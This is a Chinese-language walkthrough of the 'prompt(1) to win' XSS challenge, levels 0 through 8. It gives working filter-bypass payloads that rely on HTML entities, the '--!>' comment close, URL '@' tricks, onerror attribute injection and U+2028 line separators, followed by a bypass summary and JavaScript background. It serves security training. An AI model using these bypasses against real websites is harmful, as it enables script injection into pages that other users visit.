WebSec 之 XSS

prompt(1) to win 平台

prompt(1) to win - 0x0 之 0-8

01

无过滤,白给局,掌握拼接的思路尝试

payload: 1">`<script>prompt(1)</script>`<"

02

过滤 =(

HTML 实体绕过(注意HTML实体有多种形式,可以都试试)

<svg><script>prompt&#40;1)<b>

03

正则匹配检测同时出现的 ->

采用特殊方式闭合:

--!>

尽管其会引起语法分析错误,但 HTML 规范为如何处理这种错误情况提供了明确的处理,实现闭合;

payload

--!><svg/onload=prompt(1)

文档:

背景信息

HTML Standard

HTML 规范在定义 tokenization 时提供了解决方案,使其成为结束注释的另一种方式。这主要涉及以下两个状态的转换:

  • 12.2.4.50 注释结束状态 (Comment end state)

    • 遇到感叹号 !(U+0021 EXCLAMATION MARK)时,会记录一个解析错误,并切换到评论结束感叹号状态(comment end bang state)。
  • 12.2.4.51 注释结束感叹号状态 (Comment end bang state)

    • 遇到大于号 >(U+003E GREATER-THAN SIGN)时,切换回数据状态(data state),并发出注释标记。

04

输入开头限定 http://prompt.ml

@来调用另一个 URL 的资源

本地写 1.js 命名随意,内容为:

prompt(1)

接着使用,在构造的 js 文件目录下用下面的命令在80端口启动服务(不局限于python)

python -m http.server 80

payload 即为

http://prompt.ml/@localhost/1.js

但这样拼接,斜杠会让@失去功能

于是最终paylaod

http://prompt.ml%2f@localhost/1.js

![[Pasted image 20240617232656.png]]

如果无法触发,尝试换浏览器

05

> 被禁用,同时因为正则匹配 on= 之间;于是加入
实现中断匹配(↑换行处可复制)

既然无法闭合,那我们从覆盖的角度入手,将输入框覆盖为 image

payload

"type=image src onerror
="prompt(1)

06

要求传入以 # 号分隔的 Payload,会分别解析,同时 # 后会解析为 JSON,将其作为 name 等参数赋值给新建的 from 元素;最后是一段 js 语句

<script>                                                  
    // forbid javascript: or vbscript: and data: stuff    
    if (!/script:|data:/i.test(document.forms[0].action)) 
        document.forms[0].submit();                       
    else                                                  
        document.write("Action forbidden.")               
</script>                                                 

过滤 script:data: 且不区分大小写,防止大小写绕过

但题目让用户数据操作了 forms,同时仅 Check forms[0]

于是用 # 后的参数写 JSON,使其解析且命名为 Action,实现让拥有 actionform 不止一个;值为黑名单外的任意值

payload

javascript:prompt(1)#{"action":1}

07

常规拼接,但截断输入,限制每块字符不能超过12bytes,由 Array.prototype.mapArray 每一项传入函数;真正发挥作用的是 js 中的注释符号,实现了将 <p> 标签注释。留下 <script>prompt(1)</script>

payload

"><script>/*#*/prompt/*#*/(1)/*#*/</script>"

08

输入语句被整行注释,采取换行的思路

预期:

<script>
// console.log("
prompt(1)
");
</script>

但 /r /n 被过滤;采用

Line Separator - U+2028
Paragraph Separator - U+2029

实现换行

payload

[U+2028]prompt(1)[U+2028]-->

(放在控制台执行后复制)


绕过

规范注释

js

//

html

<!-- -->

一些解释器规则

js:-->
html --!>

绕过思路:\n \t

Unicode

HTML 实体编码

绕过XSS过滤姿势总结 - zha0gongz1 - 博客园

XSS绕过速查表 - FreeBuf网络安全行业门户


补充知识

函数

const materials = ['Hydrogen', 'Helium', 'Lithium', 'Beryllium'];

console.log(materials.map(function(material) {return material.length * material.length}));

箭头函数

const materials = ['Hydrogen', 'Helium', 'Lithium', 'Beryllium'];

console.log(materials.map((material) => material.length * material.length));

Array.prototype.map 示例

Array.prototype.map 用于创建一个新数组,其元素是调用原数组每个元素上的提供的函数后的结果。这个方法对原数组中的每个元素调用一次提供的函数(回调函数),并使用函数的返回值来构建新数组。这里是它的基本语法:

let newArray = arr.map(function(element, index, array) {
    // Return the new element
}, thisArg);

参数解释

  1. 回调函数:

    • element: 数组中当前正在处理的元素。
    • index (可选): 正在处理的元素的索引。
    • array (可选): 调用 map 方法的数组。
  2. thisArg (可选):

    • 用作 this 的值(即调用时的上下文)当执行回调函数时。

返回值

  • 返回一个新数组,每个数组元素都是原始数组相应元素通过回调函数处理后的结果。

使用示例

假设我们有一个数字数组,并且我们想得到每个数字平方后的数组:

const numbers = [1, 2, 3, 4];
const squares = numbers.map(function(num) {
    return num * num;
});
console.log(squares);  // 输出: [1, 4, 9, 16]

在这个例子中,map 方法遍历 numbers 数组的每个元素,对每个元素应用一个函数(将其乘以自己),然后将结果放入新的数组 squares 中。

注意

  • map 方法不会修改调用它的原数组(即它是一个不变方法)。
  • 如果原数组在调用 map 方法后被修改,那么传给 map 的回调函数看到的是 map 开始执行时的元素值,而修改后的值不会影响 map 已经处理的输出结果。
  • map 方法会跳过空元素,但会保留这些位置(会返回 undefined 于新数组相对应位置)。

onloadonerror

onloadonerror 是 JavaScript 中的事件处理属性,用于响应加载成功或加载错误事件。这些属性可以应用于不同的 HTML 标签,但不是所有标签都支持这些事件

onload

onload 事件在对象加载完成后触发。主要用于那些需要加载外部资源的标签,如:

  • <body>:当页面完全加载完成时触发,包括所有框架、图像等。
  • <iframe>:框架内容加载完成时触发。
  • <img>:图片加载完成时触发。
  • <link>:当样式表加载完成时触发。
  • <script>:脚本加载执行完毕时触发。
  • <input type="image">:输入类型为图像的按钮,图像加载完成时触发。

这些标签支持 onload 事件,因为它们都涉及到某种形式的内容或数据的加载。

onerror

onerror 事件在对象由于加载错误(如文件找不到)而未能加载时触发。它通常用于以下标签:

  • <img>:图像文件加载失败时触发。
  • <script>:脚本文件加载失败或运行时错误发生时触发。
  • <link>:样式表文件加载失败时触发。
  • <video><audio>:媒体文件加载失败时触发。
  • <input type="image">:图像按钮的图像加载失败时触发。

不支持 onload 和 onerror 的标签

尽管很多标签支持这些事件处理器,但大部分其他 HTML 标签(如 <p>, <span>, <div>, <a> 等)不支持 onloadonerror 事件,因为它们不涉及到外部资源的加载

实际使用

在使用 onloadonerror 时,通常会将它们绑定到需要监控加载状态的资源上,例如:

<img src="image.jpg" onload="alert('Image loaded successfully')" onerror="alert('Error loading image')" />

这样的代码可以帮助开发者处理资源加载成功或失败的情况,提高用户体验和页面的健壮性。但也为XSS埋下了隐患


工具:

正则可视化
Regex Vis